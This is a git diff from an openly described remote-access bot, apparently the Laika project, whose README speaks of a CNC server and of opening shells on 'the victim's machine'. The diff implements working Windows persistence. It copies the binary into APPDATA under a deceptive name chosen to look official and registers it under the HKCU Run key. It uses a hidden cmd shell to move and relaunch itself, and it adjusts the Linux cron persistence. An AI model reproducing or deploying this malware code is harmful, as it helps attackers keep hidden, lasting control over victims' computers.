diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index bc989df..be5247c 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -12,7 +12,6 @@ HEAD: https://github.com/CPunch/Laika/tree/main ## Tasks and TODOs Looking for some simple tasks that need to get done for that sweet 'contributor' cred? Check here! -- Implement `lib/win/winpersist.c` - Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support - Fix address sanitizer for CMake DEBUG builds - Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features. diff --git a/README.md b/README.md index 2329f34..03a0551 100644 --- a/README.md +++ b/README.md @@ -14,9 +14,9 @@ Some notable features thus far: - [X] Authentication & packet encryption using LibSodium and a predetermined public CNC key. (generated with `bin/genKey`) - [X] Server and Shell configuration through `.ini` files. - [X] Ability to open shells remotely on the victim's machine. -- [ ] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`) +- [X] Persistence across reboot: (toggled with `-DLAIKA_PERSISTENCE=On`) - [X] Persistence via Cron on Linux-based systems. - - [ ] Persistence via Windows Registry. + - [X] Persistence via Windows Registry. - [ ] Ability to relay socket connections to/from the victim's machine. - [ ] Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.) - [ ] Simple configuration using CMake: diff --git a/bot/lin/linpersist.c b/bot/lin/linpersist.c index 10d4dd1..17d4883 100644 --- a/bot/lin/linpersist.c +++ b/bot/lin/linpersist.c @@ -121,8 +121,8 @@ void laikaB_tryPersist() { getCurrentExe(exePath, PATH_MAX); getInstallPath(installPath, PATH_MAX); - /* move exe to install path */ - if (rename(exePath, installPath)) + /* move exe to install path (if it isn't there already) */ + if (strncmp(exePath, installPath, strnlen(exePath, PATH_MAX)) != 0 && rename(exePath, installPath)) LAIKA_ERROR("Failed to install '%s' to '%s'!\n", exePath, installPath); LAIKA_DEBUG("Successfully installed '%s'!\n", installPath); diff --git a/bot/win/winpersist.c b/bot/win/winpersist.c index 57024ba..4510a90 100644 --- a/bot/win/winpersist.c +++ b/bot/win/winpersist.c @@ -1,6 +1,10 @@ /* platform specific code for achieving persistence on windows */ #include +#include +#include + +#pragma comment(lib, "Shlwapi.lib") #include "persist.h" #include "lconfig.h" @@ -11,8 +15,12 @@ * so we use the GIT_VERSION as our mutex :D */ #define LAIKA_MUTEX LAIKA_VERSION_COMMIT ".0" -#define LAIKA_REG_KEY "\Software\Microsoft\Windows\CurrentVersion" -#define LAIKA_REG_VAL "Run" +/* looks official enough */ +#define LAIKA_INSTALL_DIR "Microsoft" +#define LAIKA_INSTALL_FILE "UserServiceController.exe" + +#define LAIKA_REG_KEY "Software\\Microsoft\\Windows\\CurrentVersion\\Run" +#define LAIKA_REG_VAL "UserServiceController" HANDLE laikaB_mutex; @@ -40,41 +48,124 @@ void laikaB_unmarkRunning() { HKEY openReg(HKEY key, LPCTSTR subKey) { HKEY hKey; - LONG code; - if ((code = RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey)) != ERROR_SUCCESS) + if (RegOpenKeyEx(key, subKey, 0, KEY_ALL_ACCESS, &hKey) != ERROR_SUCCESS) LAIKA_ERROR("Failed to open registry key!\n"); return hKey; } /* returns raw multi-string value from registry : see REG_MULTI_SZ at https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-value-types */ -LPCTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { - LPCTSTR str; +LPTSTR readReg(HKEY key, LPCTSTR val, LPDWORD sz) { + LPTSTR str = NULL; DWORD ret; /* get the size */ *sz = 0; RegQueryValueEx(key, val, NULL, NULL, NULL, sz); - str = (LPCTSTR)laikaM_malloc(*sz); - if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS) - LAIKA_ERROR("Failed to read registry!\n"); + if (*sz != 0) { + str = (LPCTSTR)laikaM_malloc(*sz); + + if ((ret = RegQueryValueEx(key, val, NULL, NULL, str, sz)) != ERROR_SUCCESS) + LAIKA_ERROR("Failed to read registry!\n"); + } return str; } -void writeReg(HKEY key, LPCTSTR val, LPCTSTR data, DWORD sz) { - HKEY hKey; +void writeReg(HKEY key, LPCTSTR val, LPTSTR data, DWORD sz) { LONG code; - if ((code = RegSetValueEx(hKey, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) + if ((code = RegSetValueEx(key, val, 0, REG_MULTI_SZ, (LPBYTE)data, sz)) != ERROR_SUCCESS) LAIKA_ERROR("Failed to write registry!\n"); } +void getExecutablePath(LPTSTR path) { + if (GetModuleFileName(NULL, path, MAX_PATH) == 0) + LAIKA_ERROR("Failed to get executable path!\n"); +} + +void getInstallPath(LPTSTR path) { + /* SHGetFolderPath is deprecated but,,,,, it's still here for backwards compatibility and microsoft will probably never completely remove it :P */ + if (SHGetFolderPath(NULL, CSIDL_APPDATA | CSIDL_FLAG_CREATE, NULL, 0, path) != S_OK) + LAIKA_ERROR("Failed to get APPDATA!\n"); + + PathAppend(path, TEXT(LAIKA_INSTALL_DIR)); + + if (!CreateDirectory(path, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) + LAIKA_ERROR("Failed to create directory '%s'!\n", path); + + PathAppend(path, TEXT(LAIKA_INSTALL_FILE)); +} + +/* windows doesn't let you move/delete/modify any currently executing file (since a file handle to the executable is open), so we + spawn a shell to move the exe *after* we exit. */ +void installSelf() { + TCHAR szFile[MAX_PATH], szInstall[MAX_PATH], szCmd[(MAX_PATH*4)]; + + getExecutablePath(szFile); + getInstallPath(szInstall); + + if (lstrcmp(szFile, szInstall) == 0) { + LAIKA_DEBUG("Laika already installed!\n"); + return; + } + + LAIKA_DEBUG("moving '%s' to '%s'!\n", szFile, szInstall); + + /* wait for 3 seconds (so our process has time to exit) & move the exe, then restart laika */ + lstrcpy(szCmd, TEXT("/C timeout /t 3 > NUL & move ")); + lstrcat(szCmd, szFile); + lstrcat(szCmd, TEXT(" ")); + lstrcat(szCmd, szInstall); + lstrcat(szCmd, TEXT(" > NUL & ")); + lstrcat(szCmd, szInstall); + + if (GetEnvironmentVariable("COMSPEC", szFile, MAX_PATH) == 0 || (INT)ShellExecute(NULL, NULL, szFile, szCmd, NULL, SW_HIDE) <= 32) + LAIKA_ERROR("Failed to start shell for moving exe!\n"); + + laikaB_unmarkRunning(); + exit(0); +} + +void installRegistry() { + TCHAR newRegValue[MAX_PATH]; + LPTSTR regVal; + DWORD regSz; + DWORD newRegSz; + HKEY reg; + + /* create REG_MULTI_SZ */ + getInstallPath(newRegValue); + newRegSz = lstrlen(newRegValue) + 1; + newRegValue[newRegSz] = '\0'; + + reg = openReg(HKEY_CURRENT_USER, TEXT(LAIKA_REG_KEY)); + if ((regVal = readReg(reg, TEXT(LAIKA_REG_VAL), ®Sz)) != NULL) { + LAIKA_DEBUG("Current Registry value: '%s'\n", regVal); + + /* compare regValue with the install path we'll need */ + if (regSz != newRegSz || memcmp(newRegValue, regVal, regSz) != 0) { + LAIKA_DEBUG("No match! Updating registry...\n"); + /* it's not our install path, so write it */ + writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz); + } + + laikaM_free(regVal); + } else { + LAIKA_DEBUG("Empty registry! Updating registry...\n"); + /* no registry value set! install it and set! */ + writeReg(reg, TEXT(LAIKA_REG_VAL), newRegValue, newRegSz); + } + + RegCloseKey(reg); +} + /* try to gain persistance on machine */ void laikaB_tryPersist() { - /* stubbed */ + installRegistry(); + installSelf(); } /* try to gain root */